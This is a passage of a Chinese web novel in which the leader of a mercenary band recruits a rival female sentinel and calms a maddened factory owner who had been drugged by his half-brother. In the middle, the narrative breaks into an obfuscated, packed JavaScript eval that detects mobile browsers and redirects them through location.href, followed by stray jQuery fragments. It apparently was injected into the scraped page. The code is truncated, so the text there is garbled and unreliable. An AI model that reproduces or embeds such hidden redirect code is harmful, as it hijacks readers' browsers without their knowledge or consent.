程浪看向紫发女,这姑娘看样子年纪比她还小一点。
紫发女忌惮地倒退一步,转身想逃,但又明白自己和程浪之间的实力差距,就算逃也逃不掉,便警惕地问:“你们是郑家富找来的佣兵吗?你想怎么样?”
程浪接连反问:“你又是什么人?为什么要帮那个发狂的哨兵,你们俩是什么关系?你知不知道他近期打伤了好几名郑家富工厂的男员工?”
紫发女桀骜不驯地扬起俏丽的脸庞,用一双圆圆的杏仁眼瞪着程浪:“我凭什么要回答你!”
“凭你是我的手下败将。”
程浪抱着手臂,好整以暇道:“你现在有两个选择,一是如实回答我,不要有任何隐瞒,我可以考虑放过你;二是我把你和那个疯子一起交给郑家富,由他来处置。机会只有一次,你想清楚了。”
紫发女被她气势所慑,不复先前的桀骜,想到郑家富心里又是一阵嫌恶,迟疑片刻后终于屈服,答道:“我叫李昭昭,是一名雇佣兵。这个疯子是我的雇主,叫郑家昌,是昌明制品厂的老板。郑家富则是他父亲和情妇的私生子,老郑前几年生了重病以后才认回来。
“郑家富来了后就在厂里做一些杂七杂八的事,等老郑去世后就想跟郑家昌争夺家产。郑家昌前段时间还是个正常人,因为怀疑郑家富居心不良,暗中收买了工厂管理层的几个人,还暗中找了打手来对付他,于是在暗网上发布任务,想雇个人来保护自己,我就接了这个任务。”
没想到这个任务背后还有这样狗血复杂的弯弯绕绕,程浪有些意外,面上却不动声色,听李昭昭继续一五一十地交待。
“但郑家昌还是不够谨慎,有点托大了。前几天郑家富假装跟郑家昌和谈,暗中用迷药把他迷倒,将他拘禁在外面一栋房子里,想强迫他签署工厂转让协议。我试过两次想要将他救出来,但是都失败了。后来郑家昌醒了后就狂性大发,打倒两名看守员后逃了出去。但他可能没有完全丧失神智,并没有跑远,而是躲藏在工厂附近一带,专门袭击跟郑家富外形比较相似的中年男人。
“我只是受郑家昌的雇佣来保护他而已,郑家昌本身实力比较强,发起狂来更厉害,郑家富派人抓他都抓不到。我想阻止他伤人也没办法,他现在已经认不出我了。这个任务的佣金是15万,但郑家昌遭了暗算,我忙了几天一分钱都还没收到呢,今晚又碰到你们,算我倒霉。”
李昭昭说完后有些忿忿地抓了下自己的头发。
熊正豪说:“那个果然郑家富谎话连篇,把我们都蒙在鼓里。”
孙大成啧啧两声道:“遇到我们不是倒霉,是你走运了。郑家富要求我们直接杀死伤人的‘怪物’,而你又是保护‘怪物’的,要是遇到其他佣兵多半也不会有什么好下场。”
李昭昭争辩道:“其他佣兵也没有你们,不是,没有她这么厉害啊!”
这个“她”自然指的是程浪了。
程浪看着李昭昭气呼呼的模样,又问:“郑家昌现在发了狂,谁都不认识,就算你不保护他,他也没办法追究你的责任,你为什么还要执行这个任务?”
“我已经接了他的任务,当然要履行职责了。”李昭昭认真地说,“雇佣兵也得有职业操守,难道不是吗?”
“是。”程浪认同地点头,“你有团队吗?”
“没,就我一个人。”
“为什么会当雇佣兵?”
李昭昭十分懊恼:“我本来想参军的,但在初审阶段被负责的一名审核官X骚扰,我恼火之下踢爆了那名上尉的蛋,就丧失了当兵的资格。后来干别的事情都不顺利,所以就当雇佣兵了。”
孙大成和熊正豪都有点胯、下隐隐作痛的感觉,这丫头脾气真够火爆的。
程浪顺势问:“那你想不想加入我们的乘风佣兵团?”
“什么,加入你们?”李昭昭惊讶地睁大眼睛,没料到程浪会突然向自己发出邀请。
程浪肯定地说:“对,我叫程浪,是乘风佣兵团的团长。你现在依然有两个选择,要么加入我们,以后一起并肩作战;要么离开,就当今晚什么都没发生过,我不会为难你,只是要消除你一部分关于我的记忆。”
由于男女之间天生存在体能差距,女性哨兵很少,而高级女哨兵更是罕见。
这个姑娘的身手没得说,一个人的战斗力几乎抵得上孙大成和熊正豪两个人。性格也直率坦诚,很合程浪的脾胃,这样的人才不容错过。
李昭昭喜出望外,不假思索道:“我要加入!”
她向来心高气傲,最讨厌那些眼高手低一身臭毛病的男哨兵。
但程浪也是女人,实力又是李昭昭出道以来遇到过最强的,一番言行举止令李昭昭打从心底折服,能够加入她的团队自然再好不过,肯定比她孤身一人乱闯要强。
程浪笑道:“那么欢迎你成为乘风佣兵团的一员。”
“谢谢!”李昭昭欢欢喜喜地说,“对了,团长,你的精神体是什么?我从来没见过呢,真是太酷了。”
“它是狮鬃水母,名字叫大橘。我应该比你大一点,你可以叫我一声姐。”
“姐!”
李昭昭比程浪小两岁,两名女哨兵不打不相识,打了之后迅速赢得了彼此的好感,热情地拥抱在一起。
孙大成和熊正豪刚才猝不及防下着了李昭昭的道,都有点不好意思,但两个都不是矫情小气的人,对李昭昭的身手也挺佩服,随后也一一跟李昭昭作了自我介绍,握手为礼。
从现在起,乘风佣兵团就有四名成员了。
李昭昭随后问:“姐,我这个任务是不是就算失败了?现在要把郑家昌交给郑家富吗?虽然郑家昌伤了不少人,但他本性不坏,郑家富可不是什么好东西。”
程浪说:“你已经尽到了自己的保护之职,只是情况太复杂,超出了任务内容,不是你的责任。我们也不可能按照郑家富的要求直接杀死郑家昌,毕竟他是人而不是怪物,在神智不清楚的状态下伤人罪不致死。”
“那要怎么办呢?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060288|195040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
程浪沉吟着道:“这件事归根结底是郑家的内部纷争导致的,最好由郑家昌自己来处理,但他现在发了狂,现在送他去医院不知道能不能治好。”
熊正豪出声提醒:“郑家昌是高级哨兵,普通医院治不了,这一带附近似乎也没有专门的向导医院。”
李昭昭马上道:“确实,最近的向导医院有两百多公里,不过我刚好有一支安抚剂,可以给他用。郑家昌的情况还没到最糟糕的时候,发病也不到一周,或许可以抑制他的狂躁,要是不行再送去向导医院。”
程浪点头:“行,我们先找个地方安顿下来,免得被郑家富的人发现了。”
孙大成和熊正豪将昏迷的郑家昌抬上车,然后把车开到离工厂三十公里的一片住宅区,找了家民宿入住。
李昭昭从随身腰包里取出一支口服液,蓝瓶的,一支10毫升,跟程浪小时候喝的某种补钙剂挺像。
之前被打晕的郑家昌也醒了,双眼发红,一边怪叫一边在地板上挣扎,就像案板上没命蹦达的鱼,谁要靠近就张嘴去咬。
孙大成和熊正豪两个人一起将郑家昌按住,再加上李昭昭控制住他的脖颈,程浪才把口服液倒进他嘴里。
程浪从来没接触过安抚剂,不知道是否会起效,就死马当作活马医了。
好在过了十来分钟后,郑家昌挣扎的动作逐渐变小,又过了一会儿就彻底安静下来,只是侧卧在地板上喘息。
李昭昭试探着唤了一声:“郑家昌先生,你还好吗?”
郑家昌慢慢抬起头,乱发下的眼睛不再红得吓人,散乱的眼神恢复了焦距,盯了李昭昭片刻,接着动了动身体,发现身上的绳索后不悦地质问道:“李昭昭,这是什么地方?为什么我被绑着?这几个又是什么人?是郑家富那个混帐东西让你这么干的吗?”
安抚剂起效了,只是郑家昌失去了发狂后这几天的记忆。
李昭昭松了一口气,解释道:“因为你之前陷入狂躁状态,伤了几名工厂的员工,所以才把你绑起来了。”
她把近期发生的事情从头到尾讲述了一遍,郑家昌气得脸色铁青,不过没有大喊大骂,期间一直忍着没开口。
末了,程浪问:“现在你打算怎么处理这些事?”
郑家昌思考片刻,说:“你们给我三天时间,我去摆平郑家富,夺回属于我的一切。之后受伤的员工我会赔偿抚恤金和精神损失费,求得他们的谅解。你们和李昭昭的佣金我也会加倍支付,不会让你们的任务落空。”
这个态度倒是不错,比狡猾奸诈的郑家富靠谱多了。
孙大成还不太放心:“你最好能说到做到,不要又遭了你那个便宜兄弟的暗算。”
郑家昌沉声道:“我不会在同一条沟里栽两次。工厂的股份大部分还在我的名下,厂里也有一些对我忠心的老员工,这一次绝对不会再让那个野种得逞。”
“行,那就给你三天时间。”
程浪点头示意,熊正豪给郑家昌松了绑。